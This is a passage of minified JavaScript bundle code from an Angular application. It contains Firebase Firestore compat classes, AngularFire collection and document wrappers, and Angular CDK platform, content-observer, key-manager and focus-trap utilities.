a=c.sent(),r=new Wb(e,a.Bn),i=r._o(a.documents),o=r.applyChanges(i,!1),n.resolve(o.snapshot),[3,3];case 2:return s=c.sent(),a=Ib(s,"Failed to execute query '"+e+" against cache"),n.reject(a),[3,3];case 3:return[2]}})})},[4,Bv(t)];case 1:return[2,n.apply(void 0,[i.sent(),e,r])]}})})}),r.promise}(n,t._query).then(function(n){return new aC(e,r,t,n)})}(this._delegate):"server"===(null==t?void 0:t.source)?function(t){t=a_(t,h_);var e=a_(t.firestore,__),n=C_(e),r=new OC(e);return qv(n,t._query,{source:"server"}).then(function(n){return new aC(e,r,t,n)})}(this._delegate):function(t){t=a_(t,h_);var e=a_(t.firestore,__),n=C_(e),r=new OC(e);return uC(t._query),qv(n,t._query).then(function(n){return new aC(e,r,t,n)})}(this._delegate)).then(function(t){return new XC(e.firestore,new aC(e.firestore._delegate,e._userDataWriter,e._delegate,t._snapshot))})},t.prototype.onSnapshot=function(){for(var t=this,e=[],n=0;n<arguments.length;n++)e[n]=arguments[n];var r=UC(e),i=qC(e,function(e){return new XC(t.firestore,new aC(t.firestore._delegate,t._userDataWriter,t._delegate,e._snapshot))});return TC(this._delegate,r,i)},t.prototype.withConverter=function(e){return new t(this.firestore,this._delegate.withConverter(e?HC.eu(this.firestore,e):null))},t}(),QC=function(){function t(t,e){this._firestore=t,this._delegate=e}return Object.defineProperty(t.prototype,"type",{get:function(){return this._delegate.type},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"doc",{get:function(){return new KC(this._firestore,this._delegate.doc)},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"oldIndex",{get:function(){return this._delegate.oldIndex},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"newIndex",{get:function(){return this._delegate.newIndex},enumerable:!1,configurable:!0}),t}(),XC=function(){function t(t,e){this._firestore=t,this._delegate=e}return Object.defineProperty(t.prototype,"query",{get:function(){return new $C(this._firestore,this._delegate.query)},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"metadata",{get:function(){return this._delegate.metadata},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"size",{get:function(){return this._delegate.size},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"empty",{get:function(){return this._delegate.empty},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"docs",{get:function(){var t=this;return this._delegate.docs.map(function(e){return new KC(t._firestore,e)})},enumerable:!1,configurable:!0}),t.prototype.docChanges=function(t){var e=this;return this._delegate.docChanges(t).map(function(t){return new QC(e._firestore,t)})},t.prototype.forEach=function(t,e){var n=this;this._delegate.forEach(function(r){t.call(e,new KC(n._firestore,r))})},t.prototype.isEqual=function(t){return lC(this._delegate,t._delegate)},t}(),ZC=function(t){function e(e,n){var r=this;return(r=t.call(this,e,n)||this).firestore=e,r._delegate=n,r}return(0,Zo.ZT)(e,t),Object.defineProperty(e.prototype,"id",{get:function(){return this._delegate.id},enumerable:!1,configurable:!0}),Object.defineProperty(e.prototype,"path",{get:function(){return this._delegate.path},enumerable:!1,configurable:!0}),Object.defineProperty(e.prototype,"parent",{get:function(){var t=this._delegate.parent;return t?new zC(this.firestore,t):null},enumerable:!1,configurable:!0}),e.prototype.doc=function(t){try{return new zC(this.firestore,void 0===t?g_(this._delegate):g_(this._delegate,t))}catch(e){throw GC(e,"doc()","CollectionReference.doc()")}},e.prototype.add=function(t){var e,n,r,i,o,s=this;return(e=this._delegate,n=t,r=a_(e.firestore,__),i=g_(e),o=xC(e.converter,n),IC(r,[L_(R_(e.firestore),"addDoc",i._key,o,null!==e.converter,{}).toMutation(i._key,$p.exists(!1))]).then(function(){return i})).then(function(t){return new zC(s.firestore,t)})},e.prototype.isEqual=function(t){return m_(this._delegate,t._delegate)},e.prototype.withConverter=function(t){return new e(this.firestore,this._delegate.withConverter(t?HC.eu(this.firestore,t):null))},e}($C);function YC(t){return a_(t,d_)}var JC=function(){function t(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];this._delegate=new(S_.bind.apply(S_,(0,Zo.ev)([void 0],t)))}return t.documentId=function(){return new t(yh.keyField().canonicalString())},t.prototype.isEqual=function(t){return(t=(0,Yo.m9)(t))instanceof S_&&this._delegate._internalPath.isEqual(t._internalPath)},t}(),tw=function(){function t(t){this._delegate=t}return t.serverTimestamp=function(){var e=new V_("serverTimestamp");return e._methodName="FieldValue.serverTimestamp",new t(e)},t.delete=function(){var e=new j_("deleteField");return e._methodName="FieldValue.delete",new t(e)},t.arrayUnion=function(){for(var e=[],n=0;n<arguments.length;n++)e[n]=arguments[n];var r=(function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];return new B_("arrayUnion",t)}).apply(void 0,e);return r._methodName="FieldValue.arrayUnion",new t(r)},t.arrayRemove=function(){for(var e=[],n=0;n<arguments.length;n++)e[n]=arguments[n];var r=(function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];return new H_("arrayRemove",t)}).apply(void 0,e);return r._methodName="FieldValue.arrayRemove",new t(r)},t.increment=function(e){var n=new z_("increment",e);return n._methodName="FieldValue.increment",new t(n)},t.prototype.isEqual=function(t){return this._delegate.isEqual(t._delegate)},t}(),ew={Firestore:jC,GeoPoint:E_,Timestamp:lh,Blob:RC,Transaction:VC,WriteBatch:BC,DocumentReference:zC,DocumentSnapshot:WC,Query:$C,QueryDocumentSnapshot:KC,QuerySnapshot:XC,CollectionReference:ZC,FieldPath:JC,FieldValue:tw,setLogLevel:function(t){Qd.setLogLevel(t)},CACHE_SIZE_UNLIMITED:-1};!function(t){(function(t,e){t.INTERNAL.registerComponent(new Jo.wA("firestore",function(t){return function(t,e){return new jC(t,new __(t,e),new LC)}(t.getProvider("app").getImmediate(),t.getProvider("auth-internal"))},"PUBLIC").setServiceProps(Object.assign({},ew)))})(t),t.registerVersion("@firebase/firestore","2.3.6")}(Xo.Z);var nw=n(6682);n(7771),n(8858),n(9673);const rw=new r.InjectionToken("angularfire2.auth.use-emulator");function iw(t,e){return function(t,e=Go.z){return new re.y(n=>{let r;return null!=e?e.schedule(()=>{r=t.onSnapshot({includeMetadataChanges:!0},n)}):r=t.onSnapshot({includeMetadataChanges:!0},n),()=>{null!=r&&r()}})}(t,e)}function ow(t,e){return iw(t,e).pipe((0,ue.U)(t=>({payload:t,type:"query"})))}function sw(t,e){return ow(t,e).pipe(_n(void 0),Ta(),(0,ue.U)(([t,e])=>{const n=e.payload.docChanges(),r=n.map(t=>({type:t.type,payload:t}));return t&&JSON.stringify(t.payload.metadata)!==JSON.stringify(e.payload.metadata)&&e.payload.docs.forEach((e,i)=>{const o=n.find(t=>t.doc.ref.isEqual(e.ref)),s=null==t?void 0:t.payload.docs.find(t=>t.ref.isEqual(e.ref));o&&JSON.stringify(o.doc.metadata)===JSON.stringify(e.metadata)||!o&&s&&JSON.stringify(s.metadata)===JSON.stringify(e.metadata)||r.push({type:"modified",payload:{oldIndex:i,newIndex:i,type:"modified",doc:e}})}),r}))}function aw(t,e,n){return sw(t,n).pipe(Cn((t,n)=>function(t,e,n){return e.forEach(e=>{n.indexOf(e.type)>-1&&(t=function(t,e){switch(e.type){case"added":if(!t[e.newIndex]||!t[e.newIndex].doc.ref.isEqual(e.doc.ref))return cw(t,e.newIndex,0,e);break;case"modified":if(null==t[e.oldIndex]||t[e.oldIndex].doc.ref.isEqual(e.doc.ref)){if(e.oldIndex!==e.newIndex){const n=t.slice();return n.splice(e.oldIndex,1),n.splice(e.newIndex,0,e),n}return cw(t,e.newIndex,1,e)}break;case"removed":if(t[e.oldIndex]&&t[e.oldIndex].doc.ref.isEqual(e.doc.ref))return cw(t,e.oldIndex,1)}return t}(t,e))}),t}(t,n.map(t=>t.payload),e),[]),Aa(),(0,ue.U)(t=>t.map(t=>({type:t.type,payload:t}))))}function cw(t,e,n,...r){const i=t.slice();return i.splice(e,n,...r),i}function lw(t){return(!t||0===t.length)&&(t=["added","removed","modified"]),t}class uw{constructor(t,e,n){this.ref=t,this.query=e,this.afs=n}stateChanges(t){let e=sw(this.query,this.afs.schedulers.outsideAngular);return t&&t.length>0&&(e=e.pipe((0,ue.U)(e=>e.filter(e=>t.indexOf(e.type)>-1)))),e.pipe(_n(void 0),Ta(),ae(([t,e])=>e.length>0||!t),(0,ue.U)(([t,e])=>e),this.afs.keepUnstableUntilFirst)}auditTrail(t){return this.stateChanges(t).pipe(Cn((t,e)=>[...t,...e],[]))}snapshotChanges(t){const e=lw(t);return aw(this.query,e,this.afs.schedulers.outsideAngular).pipe(this.afs.keepUnstableUntilFirst)}valueChanges(t={}){return ow(this.query,this.afs.schedulers.outsideAngular).pipe((0,ue.U)(e=>e.payload.docs.map(e=>t.idField?Object.assign(Object.assign({},e.data()),{[t.idField]:e.id}):e.data())),this.afs.keepUnstableUntilFirst)}get(t){return(0,qe.D)(this.query.get(t)).pipe((0,$o.QV)(this.afs.schedulers.insideAngular))}add(t){return this.ref.add(t)}doc(t){return new dw(this.ref.doc(t),this.afs)}}class dw{constructor(t,e){this.ref=t,this.afs=e}set(t,e){return this.ref.set(t,e)}update(t){return this.ref.update(t)}delete(){return this.ref.delete()}collection(t,e){const n=this.ref.collection(t),{ref:r,query:i}=yw(n,e);return new uw(r,i,this.afs)}snapshotChanges(){return function(t,e){return iw(t,e).pipe(_n(void 0),Ta(),(0,ue.U)(([t,e])=>e.exists?(null==t?void 0:t.exists)?{payload:e,type:"modified"}:{payload:e,type:"added"}:{payload:e,type:"removed"}))}(this.ref,this.afs.schedulers.outsideAngular).pipe(this.afs.keepUnstableUntilFirst)}valueChanges(t={}){return this.snapshotChanges().pipe((0,ue.U)(({payload:e})=>t.idField?Object.assign(Object.assign({},e.data()),{[t.idField]:e.id}):e.data()))}get(t){return(0,qe.D)(this.ref.get(t)).pipe((0,$o.QV)(this.afs.schedulers.insideAngular))}}class hw{constructor(t,e){this.query=t,this.afs=e}stateChanges(t){return t&&0!==t.length?sw(this.query,this.afs.schedulers.outsideAngular).pipe((0,ue.U)(e=>e.filter(e=>t.indexOf(e.type)>-1)),ae(t=>t.length>0),this.afs.keepUnstableUntilFirst):sw(this.query,this.afs.schedulers.outsideAngular).pipe(this.afs.keepUnstableUntilFirst)}auditTrail(t){return this.stateChanges(t).pipe(Cn((t,e)=>[...t,...e],[]))}snapshotChanges(t){const e=lw(t);return aw(this.query,e,this.afs.schedulers.outsideAngular).pipe(this.afs.keepUnstableUntilFirst)}valueChanges(t={}){return ow(this.query,this.afs.schedulers.outsideAngular).pipe((0,ue.U)(e=>e.payload.docs.map(e=>t.idField?Object.assign({[t.idField]:e.id},e.data()):e.data())),this.afs.keepUnstableUntilFirst)}get(t){return(0,qe.D)(this.query.get(t)).pipe((0,$o.QV)(this.afs.schedulers.insideAngular))}}const pw=new r.InjectionToken("angularfire2.enableFirestorePersistence"),fw=new r.InjectionToken("angularfire2.firestore.persistenceSettings"),gw=new r.InjectionToken("angularfire2.firestore.settings"),mw=new r.InjectionToken("angularfire2.firestore.use-emulator");function yw(t,e=(t=>t)){return{query:e(t),ref:t}}let bw,vw=(()=>{class t{constructor(t,e,n,r,i,o,s,a,c){this.schedulers=new Qo.HU(o),this.keepUnstableUntilFirst=(0,Qo.ss)(this.schedulers);const l=(0,Qo.on)(t,o,e);!Ra.Z.auth&&c&&(0,Qo.yq)();const u=a;[this.firestore,this.persistenceEnabled$]=(0,Qo.sI)(`${l.name}.firestore`,"AngularFirestore",l,()=>{const t=o.runOutsideAngular(()=>l.firestore());if(r&&t.settings(r),u&&t.useEmulator(...u),n&&!function(t){return"server"===t}(i)){const e=()=>{try{return(0,qe.D)(t.enablePersistence(s||void 0).then(()=>!0,()=>!1))}catch(e){return"undefined"!=typeof console&&console.warn(e),(0,ne.of)(!1)}};return[t,o.runOutsideAngular(e)]}return[t,(0,ne.of)(!1)]},[r,u,n])}collection(t,e){let n;n="string"==typeof t?this.firestore.collection(t):t;const{ref:r,query:i}=yw(n,e),o=this.schedulers.ngZone.run(()=>r);return new uw(o,i,this)}collectionGroup(t,e){const n=e||(t=>t),r=this.firestore.collectionGroup(t);return new hw(n(r),this)}doc(t){let e;e="string"==typeof t?this.firestore.doc(t):t;const n=this.schedulers.ngZone.run(()=>e);return new dw(n,this)}createId(){return this.firestore.collection("_").doc().id}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275inject(Qo.Dh),r.\u0275\u0275inject(Qo.xv,8),r.\u0275\u0275inject(pw,8),r.\u0275\u0275inject(gw,8),r.\u0275\u0275inject(r.PLATFORM_ID),r.\u0275\u0275inject(r.NgZone),r.\u0275\u0275inject(fw,8),r.\u0275\u0275inject(mw,8),r.\u0275\u0275inject(rw,8))},t.\u0275prov=r.\u0275\u0275defineInjectable({factory:function(){return new t(r.\u0275\u0275inject(Qo.Dh),r.\u0275\u0275inject(Qo.xv,8),r.\u0275\u0275inject(pw,8),r.\u0275\u0275inject(gw,8),r.\u0275\u0275inject(r.PLATFORM_ID),r.\u0275\u0275inject(r.NgZone),r.\u0275\u0275inject(fw,8),r.\u0275\u0275inject(mw,8),r.\u0275\u0275inject(rw,8))},token:t,providedIn:"any"}),t})(),_w=(()=>{class t{static enablePersistence(e){return{ngModule:t,providers:[{provide:pw,useValue:!0},{provide:fw,useValue:e}]}}}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=r.\u0275\u0275defineNgModule({type:t}),t.\u0275inj=r.\u0275\u0275defineInjector({providers:[vw]}),t})();function Cw(t,...e){return e.length?e.some(e=>t[e]):t.altKey||t.shiftKey||t.ctrlKey||t.metaKey}class ww{constructor(t){this.total=t}call(t,e){return e.subscribe(new xw(t,this.total))}}class xw extends se.L{constructor(t,e){super(t),this.total=e,this.count=0}_next(t){++this.count>this.total&&this.destination.next(t)}}function Pw(t){return e=>e.lift(new Sw(t))}class Sw{constructor(t){this.notifier=t}call(t,e){const n=new Mw(t),r=(0,hn.ft)(this.notifier,new hn.IY(n));return r&&!n.seenValue?(n.add(r),e.subscribe(n)):n}}class Mw extends hn.Ds{constructor(t){super(t),this.seenValue=!1}notifyNext(){this.seenValue=!0,this.complete()}notifyComplete(){}}function Ow(t){return null!=t&&"false"!=`${t}`}function Ew(t,e=0){return function(t){return!isNaN(parseFloat(t))&&!isNaN(Number(t))}(t)?Number(t):e}function Tw(t){return Array.isArray(t)?t:[t]}function Iw(t){return null==t?"":"string"==typeof t?t:`${t}px`}function kw(t){return t instanceof r.ElementRef?t.nativeElement:t}try{bw="undefined"!=typeof Intl&&Intl.v8BreakIterator}catch(ma){bw=!1}let Aw,Dw,Nw,Rw=(()=>{class t{constructor(t){this._platformId=t,this.isBrowser=this._platformId?Ct(this._platformId):"object"==typeof document&&!!document,this.EDGE=this.isBrowser&&/(edge)/i.test(navigator.userAgent),this.TRIDENT=this.isBrowser&&/(msie|trident)/i.test(navigator.userAgent),this.BLINK=this.isBrowser&&!(!window.chrome&&!bw)&&"undefined"!=typeof CSS&&!this.EDGE&&!this.TRIDENT,this.WEBKIT=this.isBrowser&&/AppleWebKit/i.test(navigator.userAgent)&&!this.BLINK&&!this.EDGE&&!this.TRIDENT,this.IOS=this.isBrowser&&/iPad|iPhone|iPod/.test(navigator.userAgent)&&!("MSStream"in window),this.FIREFOX=this.isBrowser&&/(firefox|minefield)/i.test(navigator.userAgent),this.ANDROID=this.isBrowser&&/android/i.test(navigator.userAgent)&&!this.TRIDENT,this.SAFARI=this.isBrowser&&/safari/i.test(navigator.userAgent)&&this.WEBKIT}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275inject(r.PLATFORM_ID))},t.\u0275prov=r.\u0275\u0275defineInjectable({factory:function(){return new t(r.\u0275\u0275inject(r.PLATFORM_ID))},token:t,providedIn:"root"}),t})(),Lw=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=r.\u0275\u0275defineNgModule({type:t}),t.\u0275inj=r.\u0275\u0275defineInjector({}),t})();function jw(t){return function(){if(null==Aw&&"undefined"!=typeof window)try{window.addEventListener("test",null,Object.defineProperty({},"passive",{get:()=>Aw=!0}))}finally{Aw=Aw||!1}return Aw}()?t:!!t.capture}function Fw(){if(null==Dw){if("object"!=typeof document||!document||"function"!=typeof Element||!Element)return Dw=!1,Dw;if("scrollBehavior"in document.documentElement.style)Dw=!0;else{const t=Element.prototype.scrollTo;Dw=!!t&&!/\{\s*\[native code\]\s*\}/.test(t.toString())}}return Dw}function Vw(){let t="undefined"!=typeof document&&document?document.activeElement:null;for(;t&&t.shadowRoot;){const e=t.shadowRoot.activeElement;if(e===t)break;t=e}return t}function Bw(t){return t.composedPath?t.composedPath()[0]:t.target}function Hw(){return"undefined"!=typeof __karma__&&!!__karma__||"undefined"!=typeof jasmine&&!!jasmine||"undefined"!=typeof jest&&!!jest||"undefined"!=typeof Mocha&&!!Mocha}let zw=(()=>{class t{create(t){return"undefined"==typeof MutationObserver?null:new MutationObserver(t)}}return t.\u0275fac=function(e){return new(e||t)},t.\u0275prov=r.\u0275\u0275defineInjectable({factory:function(){return new t},token:t,providedIn:"root"}),t})(),Gw=(()=>{class t{constructor(t){this._mutationObserverFactory=t,this._observedElements=new Map}ngOnDestroy(){this._observedElements.forEach((t,e)=>this._cleanupObserver(e))}observe(t){const e=kw(t);return new re.y(t=>{const n=this._observeElement(e).subscribe(t);return()=>{n.unsubscribe(),this._unobserveElement(e)}})}_observeElement(t){if(this._observedElements.has(t))this._observedElements.get(t).count++;else{const e=new We.xQ,n=this._mutationObserverFactory.create(t=>e.next(t));n&&n.observe(t,{characterData:!0,childList:!0,subtree:!0}),this._observedElements.set(t,{observer:n,stream:e,count:1})}return this._observedElements.get(t).stream}_unobserveElement(t){this._observedElements.has(t)&&(this._observedElements.get(t).count--,this._observedElements.get(t).count||this._cleanupObserver(t))}_cleanupObserver(t){if(this._observedElements.has(t)){const{observer:e,stream:n}=this._observedElements.get(t);e&&e.disconnect(),n.complete(),this._observedElements.delete(t)}}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275inject(zw))},t.\u0275prov=r.\u0275\u0275defineInjectable({factory:function(){return new t(r.\u0275\u0275inject(zw))},token:t,providedIn:"root"}),t})(),Uw=(()=>{class t{constructor(t,e,n){this._contentObserver=t,this._elementRef=e,this._ngZone=n,this.event=new r.EventEmitter,this._disabled=!1,this._currentSubscription=null}get disabled(){return this._disabled}set disabled(t){this._disabled=Ow(t),this._disabled?this._unsubscribe():this._subscribe()}get debounce(){return this._debounce}set debounce(t){this._debounce=Ew(t),this._subscribe()}ngAfterContentInit(){!this._currentSubscription&&!this.disabled&&this._subscribe()}ngOnDestroy(){this._unsubscribe()}_subscribe(){this._unsubscribe();const t=this._contentObserver.observe(this._elementRef);this._ngZone.runOutsideAngular(()=>{this._currentSubscription=(this.debounce?t.pipe(Uo(this.debounce)):t).subscribe(this.event)})}_unsubscribe(){var t;null===(t=this._currentSubscription)||void 0===t||t.unsubscribe()}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275directiveInject(Gw),r.\u0275\u0275directiveInject(r.ElementRef),r.\u0275\u0275directiveInject(r.NgZone))},t.\u0275dir=r.\u0275\u0275defineDirective({type:t,selectors:[["","cdkObserveContent",""]],inputs:{disabled:["cdkObserveContentDisabled","disabled"],debounce:"debounce"},outputs:{event:"cdkObserveContent"},exportAs:["cdkObserveContent"]}),t})(),qw=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=r.\u0275\u0275defineNgModule({type:t}),t.\u0275inj=r.\u0275\u0275defineInjector({providers:[zw]}),t})();class Ww extends class{constructor(t){this._items=t,this._activeItemIndex=-1,this._activeItem=null,this._wrap=!1,this._letterKeyStream=new We.xQ,this._typeaheadSubscription=Hn.w.EMPTY,this._vertical=!0,this._allowedModifierKeys=[],this._homeAndEnd=!1,this._skipPredicateFn=t=>t.disabled,this._pressedLetters=[],this.tabOut=new We.xQ,this.change=new We.xQ,t instanceof r.QueryList&&t.changes.subscribe(t=>{if(this._activeItem){const e=t.toArray().indexOf(this._activeItem);e>-1&&e!==this._activeItemIndex&&(this._activeItemIndex=e)}})}skipPredicate(t){return this._skipPredicateFn=t,this}withWrap(t=!0){return this._wrap=t,this}withVerticalOrientation(t=!0){return this._vertical=t,this}withHorizontalOrientation(t){return this._horizontal=t,this}withAllowedModifierKeys(t){return this._allowedModifierKeys=t,this}withTypeAhead(t=200){return this._typeaheadSubscription.unsubscribe(),this._typeaheadSubscription=this._letterKeyStream.pipe((0,Vn.b)(t=>this._pressedLetters.push(t)),Uo(t),ae(()=>this._pressedLetters.length>0),(0,ue.U)(()=>this._pressedLetters.join(""))).subscribe(t=>{const e=this._getItemsArray();for(let n=1;n<e.length+1;n++){const r=(this._activeItemIndex+n)%e.length,i=e[r];if(!this._skipPredicateFn(i)&&0===i.getLabel().toUpperCase().trim().indexOf(t)){this.setActiveItem(r);break}}this._pressedLetters=[]}),this}withHomeAndEnd(t=!0){return this._homeAndEnd=t,this}setActiveItem(t){const e=this._activeItem;this.updateActiveItem(t),this._activeItem!==e&&this.change.next(this._activeItemIndex)}onKeydown(t){const e=t.keyCode,n=["altKey","ctrlKey","metaKey","shiftKey"].every(e=>!t[e]||this._allowedModifierKeys.indexOf(e)>-1);switch(e){case 9:return void this.tabOut.next();case 40:if(this._vertical&&n){this.setNextItemActive();break}return;case 38:if(this._vertical&&n){this.setPreviousItemActive();break}return;case 39:if(this._horizontal&&n){"rtl"===this._horizontal?this.setPreviousItemActive():this.setNextItemActive();break}return;case 37:if(this._horizontal&&n){"rtl"===this._horizontal?this.setNextItemActive():this.setPreviousItemActive();break}return;case 36:if(this._homeAndEnd&&n){this.setFirstItemActive();break}return;case 35:if(this._homeAndEnd&&n){this.setLastItemActive();break}return;default:return void((n||Cw(t,"shiftKey"))&&(t.key&&1===t.key.length?this._letterKeyStream.next(t.key.toLocaleUpperCase()):(e>=65&&e<=90||e>=48&&e<=57)&&this._letterKeyStream.next(String.fromCharCode(e))))}this._pressedLetters=[],t.preventDefault()}get activeItemIndex(){return this._activeItemIndex}get activeItem(){return this._activeItem}isTyping(){return this._pressedLetters.length>0}setFirstItemActive(){this._setActiveItemByIndex(0,1)}setLastItemActive(){this._setActiveItemByIndex(this._items.length-1,-1)}setNextItemActive(){this._activeItemIndex<0?this.setFirstItemActive():this._setActiveItemByDelta(1)}setPreviousItemActive(){this._activeItemIndex<0&&this._wrap?this.setLastItemActive():this._setActiveItemByDelta(-1)}updateActiveItem(t){const e=this._getItemsArray(),n="number"==typeof t?t:e.indexOf(t),r=e[n];this._activeItem=null==r?null:r,this._activeItemIndex=n}_setActiveItemByDelta(t){this._wrap?this._setActiveInWrapMode(t):this._setActiveInDefaultMode(t)}_setActiveInWrapMode(t){const e=this._getItemsArray();for(let n=1;n<=e.length;n++){const r=(this._activeItemIndex+t*n+e.length)%e.length;if(!this._skipPredicateFn(e[r]))return void this.setActiveItem(r)}}_setActiveInDefaultMode(t){this._setActiveItemByIndex(this._activeItemIndex+t,t)}_setActiveItemByIndex(t,e){const n=this._getItemsArray();if(n[t]){for(;this._skipPredicateFn(n[t]);)if(!n[t+=e])return;this.setActiveItem(t)}}_getItemsArray(){return this._items instanceof r.QueryList?this._items.toArray():this._items}}{constructor(){super(...arguments),this._origin="program"}setFocusOrigin(t){return this._origin=t,this}setActiveItem(t){super.setActiveItem(t),this.activeItem&&this.activeItem.focus(this._origin)}}let Kw=(()=>{class t{constructor(t){this._platform=t}isDisabled(t){return t.hasAttribute("disabled")}isVisible(t){return function(t){return!!(t.offsetWidth||t.offsetHeight||"function"==typeof t.getClientRects&&t.getClientRects().length)}(t)&&"visible"===getComputedStyle(t).visibility}isTabbable(t){if(!this._platform.isBrowser)return!1;const e=function(t){try{return t.frameElement}catch(ya){return null}}(function(t){return t.ownerDocument&&t.ownerDocument.defaultView||window}(t));if(e&&(-1===Qw(e)||!this.isVisible(e)))return!1;let n=t.nodeName.toLowerCase(),r=Qw(t);return t.hasAttribute("contenteditable")?-1!==r:!("iframe"===n||"object"===n||this._platform.WEBKIT&&this._platform.IOS&&!function(t){let e=t.nodeName.toLowerCase(),n="input"===e&&t.type;return"text"===n||"password"===n||"select"===e||"textarea"===e}(t))&&("audio"===n?!!t.hasAttribute("controls")&&-1!==r:"video"===n?-1!==r&&(null!==r||this._platform.FIREFOX||t.hasAttribute("controls")):t.tabIndex>=0)}isFocusable(t,e){return function(t){return!function(t){return function(t){return"input"==t.nodeName.toLowerCase()}(t)&&"hidden"==t.type}(t)&&(function(t){let e=t.nodeName.toLowerCase();return"input"===e||"select"===e||"button"===e||"textarea"===e}(t)||function(t){return function(t){return"a"==t.nodeName.toLowerCase()}(t)&&t.hasAttribute("href")}(t)||t.hasAttribute("contenteditable")||$w(t))}(t)&&!this.isDisabled(t)&&((null==e?void 0:e.ignoreVisibility)||this.isVisible(t))}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275inject(Rw))},t.\u0275prov=r.\u0275\u0275defineInjectable({factory:function(){return new t(r.\u0275\u0275inject(Rw))},token:t,providedIn:"root"}),t})();function $w(t){if(!t.hasAttribute("tabindex")||void 0===t.tabIndex)return!1;let e=t.getAttribute("tabindex");return"-32768"!=e&&!(!e||isNaN(parseInt(e,10)))}function Qw(t){if(!$w(t))return null;const e=parseInt(t.getAttribute("tabindex")||"",10);return isNaN(e)?-1:e}class Xw{constructor(t,e,n,r,i=!1){this._element=t,this._checker=e,this._ngZone=n,this._document=r,this._hasAttached=!1,this.startAnchorListener=()=>this.focusLastTabbableElement(),this.endAnchorListener=()=>this.focusFirstTabbableElement(),this._enabled=!0,i||this.attachAnchors()}get enabled(){return this._enabled}set enabled(t){this._enabled=t,this._startAnchor&&this._endAnchor&&(this._toggleAnchorTabIndex(t,this._startAnchor),this._toggleAnchorTabIndex(t,this._endAnchor))}destroy(){const t=this._startAnchor,e=this._endAnchor;t&&(t.removeEventListener("focus",this.startAnchorListener),t.parentNode&&t.parentNode.removeChild(t)),e&&(e.removeEventListener("focus",this.endAnchorListener),e.parentNode&&e.parentNode.removeChild(e)),this._startAnchor=this._endAnchor=null,this._hasAttached=!1}attachAnchors(){return!!this._hasAttached||(this._ngZone.runOutsideAngular(()=>{this._startAnchor||(this._startAnchor=this._createAnchor(),this._startAnchor.addEventListener("focus",this.startAnchorListener)),this._endAnchor||(this._endAnchor=this._createAnchor(),this._endAnchor.addEventListener("focus",this.endAnchorListener))}),this._element.parentNode&&(this._element.parentNode.insertBefore(this._startAnchor,this._element),this._element.parentNode.insertBefore(this._endAnchor,this._element.nextSibling),this._hasAttached=!0),this._hasAttached)}focusInitialElementWhenReady(t){return new Promise(e=>{this._executeOnStable(()=>e(this.focusInitialElement(t)))})}focusFirstTabbableElementWhenReady(t){return new Promise(e=>{this._executeOnStable(()=>e(this.focusFirstTabbableElement(t)))})}focusLastTabbableElementWhenReady(t){return new Promise(e=>{this._executeOnStable(()=>e(this.focusLastTabbableElement(t)))})}_getRegionBoundary(t){let e=this._element.querySelectorAll(`[cdk-focus-region-${t}], [cdkFocusRegion${t}], [cdk-focus-${t}]`);for(let n=0;n<e.length;n++)e[n].hasAttribute(`cdk-focus-${t}`)?console.warn(`Found use of deprecated attribute 'cdk-focus-${t}', use 'cdkFocusRegion${t}' instead. The deprecated attribute will be removed in 8.0.0.`,e[n]):e[n].hasAttribute(`cdk-focus-region-${t}`)&&console.warn(`Found use of deprecated attribute 'cdk-focus-region-${t}', use 'cdkFocusRegion${t}' instead. The deprecated attribute will be removed in 8.0.0.`,e[n]);return"start"==t?e.length?e[0]:this._getFirstTabbableElement(this._element):e.length?e[e.length-1]:this._getLastTabbableElement(this._element)}focusInitialElement(t){const e=this._element.querySelector("[cdk-focus-initial], [cdkFocusInitial]");if(e){if(e.hasAttribute("cdk-focus-initial")&&console.warn("Found use of deprecated attribute 'cdk-focus-initial', use 'cdkFocusInitial' instead. The deprecated attribute will be removed in 8.0.0",e),!this._checker.isFocusable(e)){const n=this._getFirstTabbableElement(e);return null==n||n.focus(t),!!n}return e.focus(t),!0}return this.focusFirstTabbableElement(t)}focusFirstTabbableElement(t){const e=this._getRegionBoundary("start");return e&&e.focus(t),!!e}focusLastTabbableElement(t){const e=this._getRegionBoundary("end");return e&&e.focus(t),!!e}hasAttached(){return this._hasAttached}_getFirstTabbableElement(t){if(this._checker.isFocusable(t)&&this._checker.isTabbable(t))return t;let e=t.children||t.childNodes;for(let n=0;n<e.length;n++){let t=e[n].nodeType===this._document.ELEMENT_NODE?this._getFirstTabbableElement(e[n]):null;if(t)return t}return null}_getLastTabbableElement(t){if(this._checker.isFocusable(t)&&this._checker.isTabbable(t))return t;let e=t.children||t.childNodes;for(let n=e.length-1;n>=0;n--){let t=e[n].nodeType===this._document.ELEMENT_NODE?this._getLastTabbableElement(e[n]):null;if(t)return t}return null}_createAnchor(){const t=this._document.createElement("div");return this._toggleAnchorTabIndex(this._enabled,t),t.classList.add("cdk-visually-hidden"),t.classList.add("cdk-focus-trap-anchor"),t.setAttribute("aria-hidden","true"),t}_toggleAnchorTabIndex(t,e){t?e.setAttribute("tabindex","0"):e.removeAttribute("tabindex")}toggleAnchors(t){this._startAnchor&&this._endAnchor&&(this._toggleAnchorTabIndex(t,this._startAnchor),this._toggleAnchorTabIndex(t,this._endAnchor))}_executeOnStable(t){this._ngZone.isStable?t():this._ngZone.onStable.pipe(yn(1)).subscribe(t)}}let Zw=(()=>{class t{constructor(t,e,n){this._checker=t,this._ngZone=e,this._document=n}create(t,e=!1){return new Xw(t,this._checker,this._ngZone,this._document,e)}}return t.\u0275fac=function(e){return 